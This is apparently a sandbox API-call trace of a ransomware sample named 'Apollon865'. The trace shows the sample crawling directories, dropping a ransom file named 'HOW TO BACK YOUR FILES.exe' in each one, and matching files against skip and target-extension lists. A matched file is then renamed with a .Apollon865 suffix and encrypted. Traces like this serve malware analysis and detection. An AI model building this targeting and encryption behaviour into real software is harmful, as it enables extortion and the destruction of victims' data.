	[0038.722] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2f2cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.722] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.722] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.722] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.722] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.722] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2f2cd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.722] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.722] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="Apollon865.txt.exe") returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2=".") returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="..") returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1
	[0038.722] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1
	[0038.723] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1
	[0038.723] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1
	[0038.723] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1
	[0038.723] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1
	[0038.723] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1
	[0038.723] lstrlenW (lpString="Java") returned 4
	[0038.723] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\*") returned 24
	[0038.723] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Java" | out: lpString1="Java") returned="Java"
	[0038.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0038.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca210
	[0038.723] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0038.723] FindNextFileW (in: hFindFile=0x5ca450, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0038.723] FindClose (in: hFindFile=0x5ca450 | out: hFindFile=0x5ca450) returned 1
	[0038.723] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0038.723] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Sun\\Java", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java"
	[0038.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca210 | out: hHeap=0x580000) returned 1
	[0038.723] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0038.723] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java") returned 27
	[0038.723] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun\\Java" | out: lpString1="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java"
	[0038.723] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.723] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.727] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.727] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.727] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.727] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.727] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.727] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.728] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.728] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.728] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.728] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.728] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.728] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.728] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="Apollon865.txt.exe") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2=".") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="..") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="windows") returned -1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="bootmgr") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="temp") returned -1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="pagefile.sys") returned -1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="boot") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="ids.txt") returned 1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="ntuser.dat") returned -1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="perflogs") returned -1
	[0038.728] lstrcmpiW (lpString1="Java Update", lpString2="MSBuild") returned -1
	[0038.728] lstrlenW (lpString="Java Update") returned 11
	[0038.728] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\*") returned 29
	[0038.728] lstrcpyW (in: lpString1=0x2d3e588, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update"
	[0038.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0038.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc908
	[0038.728] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0038.728] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0038.728] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.728] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0038.728] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Sun\\Java\\Java Update", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update"
	[0038.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0038.728] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0038.728] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned 39
	[0038.729] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun\\Java\\Java Update" | out: lpString1="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update"
	[0038.729] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.733] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.733] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.733] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.733] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.733] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.733] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.733] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.733] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.733] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.733] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.733] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.733] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.733] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="Apollon865.txt.exe") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2=".") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="..") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="windows") returned -1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="bootmgr") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="temp") returned -1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="pagefile.sys") returned -1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="boot") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="ids.txt") returned 1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="ntuser.dat") returned -1
	[0038.733] lstrcmpiW (lpString1="jaureglist.xml", lpString2="perflogs") returned -1
	[0038.734] lstrcmpiW (lpString1="jaureglist.xml", lpString2="MSBuild") returned -1
	[0038.734] lstrlenW (lpString="jaureglist.xml") returned 14
	[0038.734] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*") returned 41
	[0038.734] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="jaureglist.xml" | out: lpString1="jaureglist.xml") returned="jaureglist.xml"
	[0038.734] lstrlenW (lpString="jaureglist.xml") returned 14
	[0038.734] lstrlenW (lpString="Apollon865") returned 10
	[0038.734] lstrcmpiW (lpString1="eglist.xml", lpString2="Apollon865") returned 1
	[0038.734] lstrlenW (lpString=".dll") returned 4
	[0038.734] lstrcmpiW (lpString1="jaureglist.xml", lpString2=".dll") returned 1
	[0038.734] lstrlenW (lpString=".lnk") returned 4
	[0038.734] lstrcmpiW (lpString1="jaureglist.xml", lpString2=".lnk") returned 1
	[0038.734] lstrlenW (lpString=".ini") returned 4
	[0038.734] lstrcmpiW (lpString1="jaureglist.xml", lpString2=".ini") returned 1
	[0038.734] lstrlenW (lpString=".sys") returned 4
	[0038.734] lstrcmpiW (lpString1="jaureglist.xml", lpString2=".sys") returned 1
	[0038.734] lstrlenW (lpString="jaureglist.xml") returned 14
	[0038.734] lstrlenW (lpString="bak") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0038.734] lstrlenW (lpString="ba_") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0038.734] lstrlenW (lpString="dbb") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0038.734] lstrlenW (lpString="vmdk") returned 4
	[0038.734] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0038.734] lstrlenW (lpString="rar") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0038.734] lstrlenW (lpString="zip") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0038.734] lstrlenW (lpString="tgz") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0038.734] lstrlenW (lpString="vbox") returned 4
	[0038.734] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0038.734] lstrlenW (lpString="vdi") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0038.734] lstrlenW (lpString="vhd") returned 3
	[0038.734] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0038.734] lstrlenW (lpString="vhdx") returned 4
	[0038.734] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0038.734] lstrlenW (lpString="avhd") returned 4
	[0038.735] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0038.735] lstrlenW (lpString="db") returned 2
	[0038.735] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0038.735] lstrlenW (lpString="db2") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0038.735] lstrlenW (lpString="db3") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0038.735] lstrlenW (lpString="dbf") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0038.735] lstrlenW (lpString="mdf") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0038.735] lstrlenW (lpString="mdb") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0038.735] lstrlenW (lpString="sql") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0038.735] lstrlenW (lpString="sqlite") returned 6
	[0038.735] lstrcmpiW (lpString1="st.xml", lpString2="sqlite") returned 1
	[0038.735] lstrlenW (lpString="sqlite3") returned 7
	[0038.735] lstrcmpiW (lpString1="ist.xml", lpString2="sqlite3") returned -1
	[0038.735] lstrlenW (lpString="sqlitedb") returned 8
	[0038.735] lstrcmpiW (lpString1="list.xml", lpString2="sqlitedb") returned -1
	[0038.735] lstrlenW (lpString="xml") returned 3
	[0038.735] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0038.735] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml.Apollon865") returned 65
	[0038.735] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml.Apollon865" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml.apollon865"), dwFlags=0x1) returned 1
	[0038.736] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\jaureglist.xml.Apollon865" (normalized: "c:\\users\\all users\\sun\\java\\java update\\jaureglist.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x148
	[0038.736] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=119) returned 1
	[0038.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0038.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0038.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0038.736] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0038.737] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0038.737] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0038.737] CreateFileMappingW (hFile=0x148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x15c
	[0038.741] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000
	[0038.742] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0038.742] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0038.742] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0038.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0038.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0038.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0038.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0038.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0038.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0038.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599bd8
	[0038.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0038.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0038.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0038.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0038.743] CloseHandle (hObject=0x15c) returned 1
	[0038.743] CloseHandle (hObject=0x148) returned 1
	[0038.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0038.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0038.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0038.745] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0
	[0038.745] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.745] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0038.745] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0038.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6358 | out: hHeap=0x580000) returned 1
	[0038.745] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0038.745] lstrlenW (lpString="C:\\Users\\All Users\\Start Menu") returned 29
	[0038.745] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Start Menu" | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0038.745] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.751] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
